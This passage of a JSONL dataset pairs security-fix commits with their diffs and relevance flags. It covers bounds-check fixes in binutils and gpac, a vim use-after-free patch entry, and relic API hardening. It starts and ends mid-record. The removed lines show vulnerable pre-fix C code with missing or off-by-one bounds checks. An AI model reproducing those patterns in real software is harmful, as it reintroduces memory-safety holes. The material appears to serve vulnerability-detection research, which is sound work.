(isym < symtab->nsyms\n+\t && (str = symtab->symbols[isym].symbol.name) != NULL)\n+\t{\n+\t /* PR 17512: file: f5b8eeba. */\n+\t size += strnlen (str, symtab->strsize - (str - symtab->strtab));\n+\t size += sizeof (stub);\n+\t}\n }\n \n- s_start = bfd_malloc (size);\n+ s_start = bfd_malloc (size + count * sizeof (asymbol));\n s = *ret = (asymbol *) s_start;\n if (s == NULL)\n return -1;\n names = (char *) (s + count);\n- nul_name = names;\n- *names++ = 0;\n- s_end = s_start + size;\n \n n = 0;\n for (i = 0; i < mdata->nsects; i++)\n", "related": true}, {"section": "@@ -997,47 +995,39 @@ bfd_mach_o_get_synthetic_symtab (bfd *abfd,\n \t entry_size = bfd_mach_o_section_get_entry_size (abfd, sec);\n \n \t /* PR 17512: file: 08e15eec. */\n-\t if (first >= count || last >= count || first > last)\n+\t if (first >= count || last > count || first > last)\n \t goto fail;\n \n \t for (j = first; j < last; j++)\n \t {\n \t unsigned int isym = dysymtab->indirect_syms[j];\n-\n-\t /* PR 17512: file: 04d64d9b. */\n-\t if (((char *) s) + sizeof (* s) > s_end)\n-\t\tgoto fail;\n-\n-\t s->flags = BSF_GLOBAL | BSF_SYNTHETIC;\n-\t s->section = sec->bfdsection;\n-\t s->value = addr - sec->addr;\n-\t s->udata.p = NULL;\n+\t const char *str;\n+\t size_t len;\n \n \t if (isym < symtab->nsyms\n-\t\t && symtab->symbols[isym].symbol.name)\n+\t\t && (str = symtab->symbols[isym].symbol.name) != NULL)\n \t\t{\n-\t\t const char *sym = symtab->symbols[isym].symbol.name;\n-\t\t size_t len;\n-\n-\t\t s->name = names;\n-\t\t len = strlen (sym);\n-\t\t /* PR 17512: file: 47dfd4d2. */\n-\t\t if (names + len >= s_end)\n+\t\t /* PR 17512: file: 04d64d9b. */\n+\t\t if (n >= count)\n \t\t goto fail;\n-\t\t memcpy (names, sym, len);\n-\t\t names += len;\n-\t\t /* PR 17512: file: 18f340a4. */\n-\t\t if (names + sizeof (stub) >= s_end)\n+\t\t len = strnlen (str, symtab->strsize - (str - symtab->strtab));\n+\t\t /* PR 17512: file: 47dfd4d2, 18f340a4. */\n+\t\t if (size < len + sizeof (stub))\n \t\t goto fail;\n-\t\t memcpy (names, stub, sizeof (stub));\n-\t\t names += sizeof (stub);\n+\t\t memcpy (names, str, len);\n+\t\t memcpy (names + len, stub, sizeof (stub));\n+\t\t s->name = names;\n+\t\t names += len + sizeof (stub);\n+\t\t size -= len + sizeof (stub);\n+\t\t s->the_bfd = symtab->symbols[isym].symbol.the_bfd;\n+\t\t s->flags = BSF_GLOBAL | BSF_SYNTHETIC;\n+\t\t s->section = sec->bfdsection;\n+\t\t s->value = addr - sec->addr;\n+\t\t s->udata.p = NULL;\n+\t\t s++;\n+\t\t n++;\n \t\t}\n-\t else\n-\t\ts->name = nul_name;\n-\n \t addr += entry_size;\n-\t s++;\n-\t n++;\n \t }\n \t break;\n \tdefault:", "related": true}]} +{"owner": "gpac", "repo": "gpac", "language": "C", "file_name": "src/scene_manager/loader_bt.c", "commit_id": "d553698050af478049e1a09e44a15ac884f223ed", "commit_message": "fixed #2589", "patch": "@@ -447,12 +447,12 @@ char *gf_bt_get_next(GF_BTParser *parser, Bool point_break)\n \ti=0;\n \thas_quote = 0;\n \twhile (go) {\n+\t\tif (parser->line_pos+i>=parser->line_size) break;\n+\n \t\tif (parser->line_buffer[parser->line_pos + i] == '\\\"') {\n \t\t\tif (!has_quote) has_quote = 1;\n \t\t\telse has_quote = 0;\n \t\t\tparser->line_pos += 1;\n-\n-\t\t\tif (parser->line_pos+i==parser->line_size) break;\n \t\t\tcontinue;\n \t\t}\n \t\tif (!has_quote) {", "sections": [{"section": "@@ -447,12 +447,12 @@ char *gf_bt_get_next(GF_BTParser *parser, Bool point_break)\n \ti=0;\n \thas_quote = 0;\n \twhile (go) {\n+\t\tif (parser->line_pos+i>=parser->line_size) break;\n+\n \t\tif (parser->line_buffer[parser->line_pos + i] == '\\\"') {\n \t\t\tif (!has_quote) has_quote = 1;\n \t\t\telse has_quote = 0;\n \t\t\tparser->line_pos += 1;\n-\n-\t\t\tif (parser->line_pos+i==parser->line_size) break;\n \t\t\tcontinue;\n \t\t}\n \t\tif (!has_quote) {", "related": false}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/version.c", "commit_id": "e1dc9a627536304bc4f738c21e909ad9fcf3974c", "commit_message": "patch 9.0.1840: [security] use-after-free in do_ecmd\n\nProblem: use-after-free in do_ecmd\nSolution: Verify oldwin pointer after reset_VIsual()\n\nSigned-off-by: Christian Brabandt ", "patch": "@@ -699,6 +699,8 @@ static char *(features[]) =\n \n static int included_patches[] =\n { /* Add new patch number below this line */\n+/**/\n+ 1840,\n /**/\n 1839,\n /**/", "sections": [{"section": "@@ -699,6 +699,8 @@ static char *(features[]) =\n \n static int included_patches[] =\n { /* Add new patch number below this line */\n+/**/\n+ 1840,\n /**/\n 1839,\n /**/", "related": false}]} +{"owner": "relic-toolkit", "repo": "relic", "language": "C", "file_name": "src/bn/relic_bn_prime.c", "commit_id": "421f2e91cf2ba42473d4d54daf24e295679e290e", "commit_message": "Remove dangerous API for returning small primes from an internal table.", "patch": "@@ -170,13 +170,6 @@ static void bn_exp(bn_t c, const bn_t a, const bn_t b, const bn_t m) {\n /* Public definitions */\n /*============================================================================*/\n \n-dig_t bn_get_prime(int pos) {\n-\tif (pos >= BASIC_TESTS) {\n-\t\treturn 0;\n-\t}\n-\treturn primes[pos];\n-}\n-\n int bn_is_prime(const bn_t a) {\n \tint result;\n ", "sections": [{"section": "@@ -170,13 +170,6 @@ static void bn_exp(bn_t c, const bn_t a, const bn_t b, const bn_t m) {\n /* Public definitions */\n /*============================================================================*/\n \n-dig_t bn_get_prime(int pos) {\n-\tif (pos >= BASIC_TESTS) {\n-\t\treturn 0;\n-\t}\n-\treturn primes[pos];\n-}\n-\n int bn_is_prime(const bn_t a) {\n \tint result;\n ", "related": false}]} +{"owner": "relic-toolkit", "repo": "relic", "language": "C", "file_name": "include/relic_epx.h", "commit_id": "34580d840469361ba9b5f001361cad659687b9ab", "commit_message": "Huge commit improving the API to use size_t instead of int.", "patch": "@@ -745,7 +745,7 @@ int ep2_size_bin(const ep2_t a, int pack);\n * @throw ERR_NO_VALID\t\t- if the encoded point is invalid.\n * @throw ERR_NO_BUFFER\t\t- if the buffer capacity is invalid.\n */\n-void ep2_read_bin(ep2_t a, const uint8_t *bin, int len);\n+void ep2_read_bin(ep2_t a, const uint8_t *bin, size_t len);\n \n /**\n * Writes a prime elliptic curve pointer over a quadratic extension to a byte\n@@ -757,7 +757,7 @@ void ep2_read_bin(ep2_t a, const uint8_t *bin, int len);\n * @param[in] pack\t\t\t- the flag to indicate point compression.\n * @throw ERR_NO_BUFFER\t\t- if the buffer capacity is invalid.\n */\n-void ep2_write_bin(uint8_t *bin, int len, const ep2_t a, int pack);\n+void ep2_write_bin(uint8_t *bin, size_t len, const ep2_t a, int pack);\n \n /**\n * Negates a point represented in affine coordinates in an elliptic curve over\n@@ -1060,7 +1060,8 @@ void ep2_mul_sim_trick(ep2_t r, const ep2_t p, const bn_t k, const ep2_t q, cons\n * @param[in] q\t\t\t\t- the second point to multiply.\n * @param[in] m\t\t\t\t- the second integer,\n */\n-void ep2_mul_sim_inter(ep2_t r, const ep2_t p, const bn_t k, const ep2_t q, const bn_t m);\n+void ep2_mul_sim_inter(ep2_t r, const ep2_t p, const bn_t k, const ep2_t q,\n+\t\t\tconst bn_t m);\n \n /**\n * Multiplies and adds two prime elliptic curve points simultaneously using\n@@ -1072,7 +1073,8 @@ void ep2_mul_sim_inter(ep2_t r, const ep2_t p, const bn_t k, const ep2_t q, cons\n * @param[in] q\t\t\t\t- the second point to multiply.\n * @param[in] m\t\t\t\t- the second integer,\n */\n-void ep2_mul_sim_joint(ep2_t r, const ep2_t p, const bn_t k, const ep2_t q, const bn_t m);\n+void ep2_mul_sim_joint(ep2_t r, const ep2_t p, const bn_t k, const ep2_t q,\n+\t\t\tconst bn_t m);\n \n /**\n * Multiplies simultaneously elements from a prime elliptic curve.\n@@ -1083,7 +1085,7 @@ void ep2_mul_sim_joint(ep2_t r, const ep2_t p, const bn_t k, const ep2_t q, cons\n * @param[out] k\t\t\t- the integer scalars.\n * @param[out] n\t\t\t- the number of elements to multiply.\n */\n-void ep2_mul_sim_lot(ep2_t r, const ep2_t p[], const bn_t k[], int n);\n+void ep2_mul_sim_lot(ep2_t r, const ep2_t p[], const bn_t k[], size_t n);\n \n /**\n * Multiplies and adds the generator and a prime elliptic curve point\n@@ -1105,7 +1107,7 @@ void ep2_mul_sim_gen(ep2_t r, const bn_t k, const ep2_t q, const bn_t m);\n * @param[in] k\t\t\t\t- the small scalars.\n * @param[in] len\t\t\t- the number of points to multiply.\n */\n-void ep2_mul_sim_dig(ep2_t r, const ep2_t p[], const dig_t k[], int len);\n+void ep2_mul_sim_dig(ep2_t r, const ep2_t p[], const dig_t k[], size_t len);\n \n /**\n * Converts a point to affine coordinates.\n@@ -1134,7 +1136,7 @@ void ep2_norm_sim(ep2_t *r, const ep2_t *t, int n);\n * @param[in] uniform_bytes\t\t- the array of uniform bytes to map.\n * @param[in] len\t\t\t- the array length in bytes.\n */\n-void ep2_map_from_field(ep2_t p, const uint8_t *uniform_bytes, int len);\n+void ep2_map_from_field(ep2_t p, const uint8_t *uniform_bytes, size_t len);\n \n /**\n * Maps a byte array to a point in an elliptic curve over a quadratic extension.\n@@ -1143,7 +1145,7 @@ void ep2_map_from_field(ep2_t p, const uint8_t *uniform_bytes, int len);\n * @param[in] msg\t\t\t- the byte array to map.\n * @param[in] len\t\t\t- the array length in bytes.\n */\n-void ep2_map(ep2_t p, const uint8_t *msg, int len);\n+void ep2_map(ep2_t p, const uint8_t *msg, size_t len);\n \n /**\n * Maps a byte array to a point in an elliptic curve over a quadratic extension\n@@ -1155,7 +1157,8 @@ void ep2_map(ep2_t p, const uint8_t *msg, int len);\n * @param[in] dst\t\t\t- the domain separatoin tag.\n * @param[in] dst_len\t\t- the domain separation tag length in bytes.\n */\n-void ep2_map_dst(ep2_t p, const uint8_t *msg, int len, const uint8_t *dst, int dst_len);\n+void ep2_map_dst(ep2_t p, const uint8_t *msg, size_t len, const uint8_t *dst,\n+\t\tsize_t dst_len);\n \n /**\n * Computes a power of the Gailbraith-Lin-Scott homomorphism of a point\n@@ -1385,7 +1388,7 @@ int ep4_size_bin(const ep4_t a, int pack);\n * @throw ERR_NO_VALID\t\t- if the encoded point is invalid.\n * @throw ERR_NO_BUFFER\t\t- if the buffer capacity is invalid.\n */\n-void ep4_read_bin(ep4_t a, const uint8_t *bin, int len);\n+void ep4_read_bin(ep4_t a, const uint8_t *bin, size_t len);\n \n /**\n * Writes a prime elliptic curve pointer over a quartic extension to a byte\n@@ -1397,7 +1400,7 @@ void ep4_read_bin(ep4_t a, const uint8_t *bin, int len);\n * @param[in] pack\t\t\t- the flag to indicate compression.\n * @throw ERR_NO_BUFFER\t\t- if the buffer capacity is invalid.\n */\n-void ep4_write_bin(uint8_t *bin, int len, const ep4_t a, int pack);\n+void ep4_write_bin(uint8_t *bin, size_t len, const ep4_t a, int pack);\n \n /**\n * Negates a point represented in affine coordinates in an elliptic curve over\n@@ -1723,7 +1726,7 @@ void ep4_mul_sim_joint(ep4_t r, const ep4_t p, const bn_t k, const ep4_t q, cons\n * @param[in] k\t\t\t- the integer scalars.\n * @param[in] n\t\t\t- the number of elements to multiply.\n */\n-void ep4_mul_sim_lot(ep4_t r, const ep4_t p[], const bn_t k[], int n);\n+void ep4_mul_sim_lot(ep4_t r, const ep4_t p[], const bn_t k[], size_t n);\n \n /**\n * Multiplies and adds the generator and a prime elliptic curve point\n@@ -1745,7 +1748,7 @@ void ep4_mul_sim_gen(ep4_t r, const bn_t k, const ep4_t q, const bn_t m);\n * @param[in] k\t\t\t\t- the small scalars.\n * @param[in] len\t\t\t- the number of points to multiply.\n */\n-void ep4_mul_sim_dig(ep4_t r, const ep4_t p[], const dig_t k[], int len);\n+void ep4_mul_sim_dig(ep4_t r, const ep4_t p[], const dig_t k[], size_t len);\n \n /**\n * Converts a point to affine coordinates.\n@@ -1771,7 +1774,7 @@ void ep4_norm_sim(ep4_t *r, const ep4_t *t, int n);\n * @param[in] msg\t\t\t- the byte array to map.\n * @param[in] len\t\t\t- the array length in bytes.\n */\n-void ep4_map(ep4_t p, const uint8_t *msg, int len);\n+void ep4_map(ep4_t p, const uint8_t *msg, size_t len);\n \n /**\n * Maps a byte array to a point in an elliptic curve over a quartic extension\n@@ -1783,7 +1786,8 @@ void ep4_map(ep4_t p, const uint8_t *msg, int len);\n * @param[in] dst\t\t\t- the domain separatoin tag.\n * @param[in] dst_len\t\t- the domain separation tag length in bytes.\n */\n-void ep4_map_dst(ep4_t p, const uint8_t *msg, int len, const uint8_t *dst, int dst_len);\n+void ep4_map_dst(ep4_t p, const uint8_t *msg, size_t len, const uint8_t *dst,\n+\t\tsize_t dst_len);\n \n /**\n * Computes a power of the Gailbraith-Lin-Scott homomorphism of a point", "sections": [{"section": "@@ -745,7 +745,7 @@ int ep2_size_bin(const ep2_t a, int pack);\n * @throw ERR_NO_VALID\t\t- if the encoded point is invalid.\n * @throw ERR_NO_BUFFER\t\t- if the buffer capacity is invalid.\n */\n-void ep2_read_bin(ep2_t a, const uint8_t *bin, int len);\n+void ep2_read_bin(ep2_t a, const uint8_t *bin, size_t len);\n \n /**\n * Writes a prime elliptic curve pointer over a quadratic extension to a byte\n", "related": false}, {"section": "@@ -757,7 +757,7 @@ void ep2_read_bin(ep2_t a, const uint8_t *bin, int len);\n * @param[in] pack\t\t\t- the flag to indicate point compression.\n * @throw ERR_NO_BUFFER\t\t- if the buffer capacity is invalid.\n */\n-void ep2_write_bin(uint8_t *bin, int len, const ep2_t a, int pack);\n+void ep2_write_bin(uint8_t *bin, size_t len, const ep2_t a, int pack);\n \n /**\n * Negates a point represented in affine coordinates in an elliptic curve over\n", "related": false}, {"section": "@@ -1060,7 +1060,8 @@ void ep2_mul_sim_trick(ep2_t r, const ep2_t p, const bn_t k, const ep2_t q, cons\n * @param[in] q\t\t\t\t- the second point to multiply.\n * @param[in] m\t\t\t\t- the second integer,\n */\n-void ep2_mul_sim_inter(ep2_t r, const ep2_t p, const bn_t k, const ep2_t q, const bn_t m);\n+void ep2_mul_sim_inter(ep2_t r, const ep2_t p, const bn_t k, const ep2_t q,\n+\t\t\tconst bn_t m);\n \n /**\n * Multiplies and adds two prime elliptic curve points simultaneously using\n", "related": false}, {"section": "@@ -1072,7 +1073,8 @@ void ep2_mul_sim_inter(ep2_t r, const ep2_t p, const bn_t k, const ep2_t q, cons\n * @param[in] q\t\t\t\t- the second point to multiply.\n * @param[in] m\t\t\t\t- the second integer,\n */\n-void ep2_mul_sim_joint(ep2_t r, const ep2_t p, const bn_t k, const ep2_t q, const bn_t m);\n+void ep2_mul_sim_joint(ep2_t r, const ep2_t p, const bn_t k, const ep2_t q,\n+\t\t\tconst bn_t m);\n \n /**\n * Multiplies simultaneously elements from a prime elliptic curve.\n", "related": false}, {"section": "@@ -1083,7 +1085,7 @@ void ep2_mul_sim_joint(ep2_t r, const ep2_t p, const bn_t k, const ep2_t q, cons\n * @param[out] k\t\t\t- the integer scalars.\n * @param[out] n\t\t\t- the number of elements to multiply.\n */\n-void ep2_mul_sim_lot(ep2_t r, const ep2_t p[], const bn_t k[], int n);\n+void ep2_mul_sim_lot(ep2_t r, const ep2_t p[], const bn_t k[], size_t n);\n \n /**\n * Multiplies and adds the generator and a prime elliptic curve point\n", "related": false}, {"section": "@@ -1105,7 +1107,7 @@ void ep2_mul_sim_gen(ep2_t r, const bn_t k, const ep2_t q, const bn_t m);\n * @param[in] k\t\t\t\t- the small scalars.\n * @param[in] len\t\t\t- the number of points to multiply.\n */\n-void ep2_mul_sim_dig(ep2_t r, const ep2_t p[], const dig_t k[], int len);\n+void ep2_mul_sim_dig(ep2_t r, const ep2_t p[], const dig_t k[], size_t len);\n \n /**\n * Converts a point to affine coordinates.\n", "related": false}, {"section": "@@ -1134,7 +1136,7 @@ void ep2_norm_sim(ep2_t *r, const ep2_t *t, int n);\n * @param[in] uniform_bytes\t\t- the array of uniform bytes to map.\n * @param[in] len\t\t\t- the array length in bytes.\n */\n-void ep2_map_from_field(ep2_t p, const uint8_t *uniform_bytes, int len);\n+void ep2_map_from_field(ep2_t p, const uint8_t *uniform_bytes, size_t len);\n \n /**\n * Maps a byte array to a point in an elliptic curve over a quadratic extension.\n", "related": false}, {"section": "@@ -1143,7 +1145,7 @@ void ep2_map_from_field(ep2_t p, const uint8_t *uniform_bytes, int len);\n * @param[in] msg\t\t\t- the byte array to map.\n * @param[in] len\t\t\t- the array length in bytes.\n */\n-void ep2_map(ep2_t p, const uint8_t *msg, int len);\n+void ep2_map(ep2_t p, const uint8_t *msg, size_t len);\n \n /**\n * Maps a byte array to a point in an elliptic curve over a quadratic extension\n", "related": false}, {"section": "@@ -1155,7 +1157,8 @@ void ep2_map(ep2_t p, const uint8_t *msg, int len);\n * @param[in] dst\t\t\t- the domain separatoin tag.\n * @param[in] dst_len\t\t- the domain separation tag length in bytes.\n */\n-void ep2_map_dst(ep2_t p, const uint8_t *msg, int len, const uint8_t *dst, int dst_len);\n+void ep2_map_dst(ep2_t p, const uint8_t *msg, size_t len, const uint8_t *dst,\n+\t\tsize_t dst_len);\n \n /**\n * Computes a power of the Gailbraith-Lin-Scott homomorphism of a point\n", "related": false}, {"section": "@@ -1385,7 +1388,7 @@ int ep4_size_bin(const ep4_t a, int pack);\n * @throw ERR_NO_VALID\t\t- if the encoded point is invalid.\n * @throw ERR_NO_BUFFER\t\t- if the buffer capacity is invalid.\n */\n-void ep4_read_bin(ep4_t a, const uint8_t *bin, int len);\n+void ep4_read_bin(ep4_t a, const uint8_t *bin, size_t len);\n \n /**\n * Writes a prime elliptic curve pointer over a quartic extension to a byte\n", "related": false}, {"section": "@@ -1397,7 +1400,7 @@ void ep4_read_bin(ep4_t a, const uint8_t *bin, int len);\n * @param[in] pack\t\t\t- the flag to indicate compression.\n * @throw ERR_NO_BUFFER\t\t- if the buffer capacity is invalid.\n */\n-void ep4_write_bin(uint8_t *bin, int len, const ep4_t a, int pack);\n+void ep4_write_bin(uint8_t *bin, size_t len, const ep4_t a, int pack);\n \n /**\n * Negates a point represented in affine coordinates in an elliptic curve over\n", "related": false}, {"section": "@@ -1723,7 +1726,7 @@ void ep4_mul_sim_joint(ep4_t r, const ep4_t p, const bn_t k, const ep4_t q, cons\n * @param[in] k\t\t\t- the integer scalars.\n * @param[in] n\t\t\t- the number of elements to multiply.\n */\n-void ep4_mul_sim_lot(ep4_t r, const ep4_t p[], const bn_t k[], int n);\n+void ep4_mul_sim_lot(ep4_t r, const ep4_t p[], const bn_t k[], size_t n);\n \n /**\n * Multiplies and adds the generator and a prime elliptic curve point\n", "related": false}, {"section": "@@ -1745,7 +1748,7 @@ void ep4_mul_sim_gen(ep4_t r, const bn_t k, const ep4_t q, const bn_t m);\n * @param[in] k\t\t\t\t- the small scalars.\n * @param[in] len\t\t\t- the number of points to multiply.\n */\n-void ep4_mul_sim_dig(ep4_t r, const ep4_t p[], const dig_t k[], int len);\n+void ep4_mul_sim_dig(ep4_t r, const ep4_t p[], const dig_t k[], size_t len);\n \n /**\n * Converts a point to affine coordinates.\n", "related": false}, {"section": "@@ -1771,7 +1774,7 @@ void ep4_norm_sim(ep4_t *r, const ep4_t *t, int n);\n * @param[in] msg\t\t\t- the byte array to map.\n * @param[in] len\t\t\t- the array length in bytes.\n */\n-void ep4_map(ep4_t p, const uint8_t *msg, int len);\n+void ep4_map(ep4_t p, const uint8_t *msg, size_t len);\n \n /**\n * Maps a byte array to a point in an elliptic curve over a quartic extension\n", "related": false}, {"section": "@@ -1783,7 +1786,8 @@ void ep4_map(ep4_t p, const uint8_t *msg, int len);\n * @param[in] dst\t\t\t- the domain separatoin tag.\n * @param[in] dst_len\t\t- the domain separation tag length in bytes.\n */\n-void ep4_map_dst(ep4_t p, const uint8_t *msg, int len, const uint8_t *dst, int dst_len);\n+void ep4_map_dst(ep4_t p, const uint8_t *msg, size_t len, const uint8_t *dst,\n+\t\tsize_t dst_len);\n \n /**\n * Computes a power of the Gailbraith-Lin-Scott homomorphism of a point", "related": false}]} +{"owner": "relic-toolkit", "repo": "relic", "language": "C", "file_name": "src/bn/relic_bn_prime.c", "commit_id": "34580d840469361ba9b5f001361cad659687b9ab", "commit_message": "Huge commit improving the API to use size_t instead of int.", "patch": "@@ -276,7 +276,7 @@ int bn_is_prime_rabin(const bn_t a) {\n \t\tbn_sub_dig(n1, a, 1);\n \t\tbn_copy(r, n1);\n \t\ts = 0;\n-\t\twhile (bn_is_even(r)) {\n+\t\twhile (!bn_is_zero(r) && bn_is_even(r)) {\n \t\t\ts++;\n \t\t\tbn_rsh(r, r, 1);\n \t\t}\n@@ -401,7 +401,7 @@ int bn_is_prime_solov(const bn_t a) {\n \n #if BN_GEN == BASIC || !defined(STRIP)\n \n-void bn_gen_prime_basic(bn_t a, int bits) {\n+void bn_gen_prime_basic(bn_t a, size_t bits) {\n \twhile (1) {\n \t\tdo {\n \t\t\tbn_rand(a, RLC_POS, bits);\n@@ -416,7 +416,7 @@ void bn_gen_prime_basic(bn_t a, int bits) {\n \n #if BN_GEN == SAFEP || !defined(STRIP)\n \n-void bn_gen_prime_safep(bn_t a, int bits) {\n+void bn_gen_prime_safep(bn_t a, size_t bits) {\n \twhile (1) {\n \t\tdo {\n \t\t\tbn_rand(a, RLC_POS, bits);\n@@ -440,7 +440,7 @@ void bn_gen_prime_safep(bn_t a, int bits) {\n \n #if BN_GEN == STRON || !defined(STRIP)\n \n-void bn_gen_prime_stron(bn_t a, int bits) {\n+void bn_gen_prime_stron(bn_t a, size_t bits) {\n \tdig_t i, j;\n \tint found, k;\n \tbn_t r, s, t;\n@@ -519,7 +519,7 @@ void bn_gen_prime_stron(bn_t a, int bits) {\n \n #endif\n \n-int bn_gen_prime_factor(bn_t a, bn_t b, int abits, int bbits) {\n+int bn_gen_prime_factor(bn_t a, bn_t b, size_t abits, size_t bbits) {\n \tbn_t t;\n \tint result = RLC_OK;\n ", "sections": [{"section": "@@ -276,7 +276,7 @@ int bn_is_prime_rabin(const bn_t a) {\n \t\tbn_sub_dig(n1, a, 1);\n \t\tbn_copy(r, n1);\n \t\ts = 0;\n-\t\twhile (bn_is_even(r)) {\n+\t\twhile (!bn_is_zero(r) && bn_is_even(r)) {\n \t\t\ts++;\n \t\t\tbn_rsh(r, r, 1);\n \t\t}\n", "related": false}, {"section": "@@ -401,7 +401,7 @@ int bn_is_prime_solov(const bn_t a) {\n \n #if BN_GEN == BASIC || !defined(STRIP)\n \n-void bn_gen_prime_basic(bn_t a, int bits) {\n+void bn_gen_prime_basic(bn_t a, size_t bits) {\n \twhile (1) {\n \t\tdo {\n \t\t\tbn_rand(a, RLC_POS, bits);\n", "related": false}, {"section": "@@ -416,7 +416,7 @@ void bn_gen_prime_basic(bn_t a, int bits) {\n \n #if BN_GEN == SAFEP || !defined(STRIP)\n \n-void bn_gen_prime_safep(bn_t a, int bits) {\n+void bn_gen_prime_safep(bn_t a, size_t bits) {\n \twhile (1) {\n \t\tdo {\n \t\t\tbn_rand(a, RLC_POS, bits);\n", "related": false}, {"section": "@@ -440,7 +440,7 @@ void bn_gen_prime_safep(bn_t a, int bits) {\n \n #if BN_GEN == STRON || !defined(STRIP)\n \n-void bn_gen_prime_stron(bn_t a, int bits) {\n+void bn_gen_prime_stron(bn_t a, size_t bits) {\n \tdig_t i, j;\n \tint found, k;\n \tbn_t r, s, t;\n", "related": false}, {"section": "@@ -519,7 +519,7 @@ void bn_gen_prime_stron(bn_t a, int bits) {\n \n #endif\n \n-int bn_gen_prime_factor(bn_t a, bn_t b, int abits, int bbits) {\n+int bn_gen_prime_factor(bn_t a, bn_t b, size_t abits, size_t bbits) {\n \tbn_t t;\n \tint result = RLC_OK;\n ", "related": false}]} +{"owner": "relic-toolkit", "repo": "relic", "language": "C", "file_name": "src/cp/relic_cp_sokaka.c", "commit_id": "34580d840469361ba9b5f001361cad659687b9ab", "commit_message": "Huge commit improving the API to use size_t instead of int.", "patch": "@@ -72,8 +72,8 @@ int cp_sokaka_gen_prv(sokaka_t k, const char *id, bn_t master) {\n \n int cp_sokaka_key(uint8_t *key, size_t key_len, const char *id1,\n \t\tconst sokaka_t k, const char *id2) {\n-\tint len1 = strlen(id1), len2 = strlen(id2);\n-\tint size, first = 0, result = RLC_OK;\n+\tsize_t size, len1 = strlen(id1), len2 = strlen(id2);\n+\tint first = 0, result = RLC_OK;\n \tuint8_t *buf;\n \tg1_t p;\n \tg2_t q;", "sections": [{"section": "@@ -72,8 +72,8 @@ int cp_sokaka_gen_prv(sokaka_t k, const char *id, bn_t master) {\n \n int cp_sokaka_key(uint8_t *key, size_t key_len, const char *id1,\n \t\tconst sokaka_t k, const char *id2) {\n-\tint len1 = strlen(id1), len2 = strlen(id2);\n-\tint size, first = 0, result = RLC_OK;\n+\tsize_t size, len1 = strlen(id1), len2 = strlen(id2);\n+\tint first = 0, result = RLC_OK;\n \tuint8_t *buf;\n \tg1_t p;\n \tg2_t q;", "related": true}]} +{"owner": "relic-toolkit", "repo": "relic", "language": "C", "file_name": "src/ed/relic_ed_util.c", "commit_id": "34580d840469361ba9b5f001361cad659687b9ab", "commit_message": "Huge commit improving the API to use size_t instead of int.", "patch": "@@ -242,7 +242,7 @@ int ed_size_bin(const ed_t a, int pack) {\n \treturn size;\n }\n \n-void ed_read_bin(ed_t a, const uint8_t *bin, int len) {\n+void ed_read_bin(ed_t a, const uint8_t *bin, size_t len) {\n \tif (len == 1) {\n \t\tif (bin[0] == 0) {\n \t\t\ted_set_infty(a);\n@@ -297,7 +297,7 @@ void ed_read_bin(ed_t a, const uint8_t *bin, int len) {\n \t}\n }\n \n-void ed_write_bin(uint8_t *bin, int len, const ed_t a, int pack) {\n+void ed_write_bin(uint8_t *bin, size_t len, const ed_t a, int pack) {\n \ted_t t;\n \n \ted_null(t);", "sections": [{"section": "@@ -242,7 +242,7 @@ int ed_size_bin(const ed_t a, int pack) {\n \treturn size;\n }\n \n-void ed_read_bin(ed_t a, const uint8_t *bin, int len) {\n+void ed_read_bin(ed_t a, const uint8_t *bin, size_t len) {\n \tif (len == 1) {\n \t\tif (bin[0] == 0) {\n \t\t\ted_set_infty(a);\n", "related": false}, {"section": "@@ -297,7 +297,7 @@ void ed_read_bin(ed_t a, const uint8_t *bin, int len) {\n \t}\n }\n \n-void ed_write_bin(uint8_t *bin, int len, const ed_t a, int pack) {\n+void ed_write_bin(uint8_t *bin, size_t len, const ed_t a, int pack) {\n \ted_t t;\n \n \ted_null(t);", "related": false}]} +{"owner": "relic-toolkit", "repo": "relic", "language": "C", "file_name": "src/epx/relic_ep2_util.c", "commit_id": "34580d840469361ba9b5f001361cad659687b9ab", "commit_message": "Huge commit improving the API to use size_t instead of int.", "patch": "@@ -243,7 +243,7 @@ int ep2_size_bin(const ep2_t a, int pack) {\n \treturn size;\n }\n \n-void ep2_read_bin(ep2_t a, const uint8_t *bin, int len) {\n+void ep2_read_bin(ep2_t a, const uint8_t *bin, size_t len) {\n \tif (len == 1) {\n \t\tif (bin[0] == 0) {\n \t\t\tep2_set_infty(a);\n@@ -293,7 +293,7 @@ void ep2_read_bin(ep2_t a, const uint8_t *bin, int len) {\n \t}\n }\n \n-void ep2_write_bin(uint8_t *bin, int len, const ep2_t a, int pack) {\n+void ep2_write_bin(uint8_t *bin, size_t len, const ep2_t a, int pack) {\n \tep2_t t;\n \n \tep2_null(t);", "sections": [{"section": "@@ -243,7 +243,7 @@ int ep2_size_bin(const ep2_t a, int pack) {\n \treturn size;\n }\n \n-void ep2_read_bin(ep2_t a, const uint8_t *bin, int len) {\n+void ep2_read_bin(ep2_t a, const uint8_t *bin, size_t len) {\n \tif (len == 1) {\n \t\tif (bin[0] == 0) {\n \t\t\tep2_set_infty(a);\n", "related": false}, {"section": "@@ -293,7 +293,7 @@ void ep2_read_bin(ep2_t a, const uint8_t *bin, int len) {\n \t}\n }\n \n-void ep2_write_bin(uint8_t *bin, int len, const ep2_t a, int pack) {\n+void ep2_write_bin(uint8_t *bin, size_t len, const ep2_t a, int pack) {\n \tep2_t t;\n \n \tep2_null(t);", "related": false}]} +{"owner": "relic-toolkit", "repo": "relic", "language": "C", "file_name": "src/fp/relic_fp_util.c", "commit_id": "34580d840469361ba9b5f001361cad659687b9ab", "commit_message": "Huge commit improving the API to use size_t instead of int.", "patch": "@@ -62,15 +62,15 @@ int fp_is_even(const fp_t a) {\n \treturn 0;\n }\n \n-int fp_get_bit(const fp_t a, int bit) {\n+int fp_get_bit(const fp_t a, size_t bit) {\n \tint d;\n \n \tRLC_RIP(bit, d, bit);\n \n \treturn (a[d] >> bit) & 1;\n }\n \n-void fp_set_bit(fp_t a, int bit, int value) {\n+void fp_set_bit(fp_t a, size_t bit, int value) {\n \tint d;\n \tdig_t mask;\n \n@@ -85,7 +85,7 @@ void fp_set_bit(fp_t a, int bit, int value) {\n \t}\n }\n \n-int fp_bits(const fp_t a) {\n+size_t fp_bits(const fp_t a) {\n \tint i = RLC_FP_DIGS - 1;\n \n \twhile (i >= 0 && a[i] == 0) {\n@@ -157,9 +157,9 @@ void fp_print(const fp_t a) {\n \t}\n }\n \n-int fp_size_str(const fp_t a, int radix) {\n+size_t fp_size_str(const fp_t a, unsigned int radix) {\n \tbn_t t;\n-\tint digits = 0;\n+\tsize_t digits = 0;\n \n \tbn_null(t);\n \n@@ -179,7 +179,7 @@ int fp_size_str(const fp_t a, int 